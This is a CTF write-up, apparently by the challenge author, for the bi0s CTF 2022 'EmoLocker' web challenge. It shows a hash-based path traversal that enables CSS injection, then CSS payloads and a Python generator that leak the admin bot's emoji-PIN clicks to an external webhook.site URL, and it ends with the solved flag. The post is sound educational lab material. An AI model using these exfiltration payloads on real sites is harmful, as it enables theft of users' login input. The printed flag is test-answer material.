Skip to main content

Yadhu's Blog

Unlocking the EmoLocker: bi0s CTF 2022 - Author’s Writeup

Table of Contents

In this post, we discuss the solution to EmoLocker challenge from bi0s CTF 2022. The source code of this challenge can be downloaded from here.

# Analysis

Upon opening the challenge link, we are presented with a lockscreen that uses emojis instead of numbers. The page has two features: register and login. Additionally, there is an admin bot, which suggests that the challenge may involve client-side concepts.

The frontend of this application is developed in React.js. After analyzing the client-side JavaScript source code, we discover a hidden feature:

1
2
3
4
5
6
7
8
9
{
    key: "switchTheme",
    value: function() {
        this.setState((function(e) {
            var n = "https://cdn.jsdelivr.net/npm/darkmode-css@1.0.1/".concat(window.location.hash.replace("#", ""), "-mode.css");
            return e.link_obj.href = n, {}
        }))
    }
}
1
2
3
4
5
6
{
    key: "componentWillUnmount",
    value: function() {
        window.removeEventListener("hashchange", this.switchTheme, !1)
    }
}

On looking into https://cdn.jsdelivr.net/npm/darkmode-css@1.0.1/ can find that this can be used to switch themes - dark or light, by toogling the hash. Thus, we now have a functionalty that can load limited stylesheets into the page.

# Exploit

At this point, one may have two questions:

  1. Is it possible to load arbitrary stylesheets into the page?
  2. If so, what can be done with this ability?

## Injecting Arbitary Stylesheets

Upon visiting the homepage of jsdelivr, we can discover that it is a public CDN that can be used to embed files from various sources such as GitHub, npm, and WordPress. This means that it is possible to embed files from any GitHub repository using the following format:

1
https://cdn.jsdelivr.net/gh/[user-name]/[repository-name]/[file-path]

Since window.location.hash is directly placed into the href attribute we can simply use ../ to embed files from any repository in our control.

1
http://web.chall.bi0s.in:10101/#../../../../gh/yadhukrishna/nothing-here@main/hola

Thus, it is possible to embed any stylesheet into the document by changing window.location.hash and hence, causing CSS Injection.

## Exploiting CSS Injection

On observing the UI carefully, one can find that each emoji is represented with:

1
<span aria-label="105" role="img">💀</span>

On examining closer, we identify:

  1. The aria-label value is sent in the request when the login button is clicked. Thus, aria-label value can be used to uniquely identify an emoji.
  2. When an emoji is clicked, it is removed from the content of the <span> element, which makes it empty.

These can be used to detect clicks using the :empty pseudo-class selector.

For example,

On clicking the 12th emoji, a request can be sent to the specified URL, if we inject the below CSS.

1
2
3
span[role="img"][aria-label="12"]:empty {
    background: url('https://webhook.site/7ecc884d-b05b-4433-97f7-574d1d78dc63/?item=12');
}

This can be used to detect admin bot’s clicks and capture the login information.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
exploit_css = ""

for i in range(1, 164):
    exploit_css += '''
    span[role="img"][aria-label="''' + str(i) + '''"]:empty {
        background: url('https://webhook.site/7ecc884d-b05b-4433-97f7-574d1d78dc63/?item=''' + str(i) + '''');
    }
    '''
    
print (exploit_css)

# Flag

1
bi0sctf{a34522e2009192570c840f931e4c3c0a}